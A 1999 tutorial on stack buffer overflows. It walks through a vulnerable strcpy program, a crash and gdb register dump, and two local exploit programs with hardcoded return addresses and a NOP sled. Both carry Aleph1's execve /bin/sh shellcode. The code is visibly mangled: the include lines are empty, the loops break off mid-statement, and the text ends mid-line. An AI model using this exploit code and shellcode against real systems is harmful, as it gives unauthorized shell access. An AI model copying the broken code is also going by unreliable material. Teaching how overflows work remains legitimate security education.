Notes on buffer overflows and stack smashing. L. W. Cashdollar 12/14/99 The idea is to stuff a variable with more data then it was originaly intended to handle. By doing this we can overwrite areas of memory (namely the %eip register) and change the execution flow of a program. [%esp][ variables ][%ebp][%eip][f()_arg1][f()_arg2][...] /*A vulnerable strcpy operation.*/ int main(int argc, char *argv[]) { char buffer[512]; strcpy(buffer,argv[1]); return 0; } [%esp][ buffer * 512 ][%ebp][%eip][argv[1]][...] We send a long string of A's as our input. [lwc@Diabolic lwc]$ ./vul2 `perl -e 'print "A" x 530'` Segmentation fault (core dumped) [%esp][AAAAAAAAAAAAAAAAAAAA][AA][AA][A*512][...] [lwc@Diabolic lwc]$ gdb vul2 core [...] snip This GDB was configured as "i386-redhat-linux"... (no debugging symbols found)... Core was generated by `./vul2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info regi esp esp: 0xbffffbd8 -1073742888 (gdb) info regi eip eip: 0x41414141 1094795585 (gdb) %eip is set to 0x41 which is hex for 'A'. %esp is pointing to the top of the stack. %esp is what we can use as our starting address to jump to. We can use NOP's 0x90 to help us execute our code with minimal offset guessing. #include #include #define NOP 0x90 /*no operation skip to next instruction.*/ #define LEN 517 /*our buffersize.*/ #define RET 0xbffffbd8 char shellcode[]= /*Aleph1's shell code. see phrack article*/ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc , char *argv[]) { char buffer[LEN]; int i; long retaddr = RET; /*Fill the buffer with our new address to jump to esp + offset */ for (i=0;i #include #define LEN 130 // buffer size #define RET 0xbffffc42 // default return address char shellcode[]= /*Aleph1's shell code. */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc , char *argv[]) { int i; char buffer[LEN]; long retaddr = RET; // our default address to jmp to if (argc > 1) retaddr = retaddr - atoi(argv[1]); printf("Using address %x\n",retaddr); memcpy(buffer,shellcode,strlen(shellcode)); /*copy all the shell code into our buffer*/ for (i=strlen(shellcode);i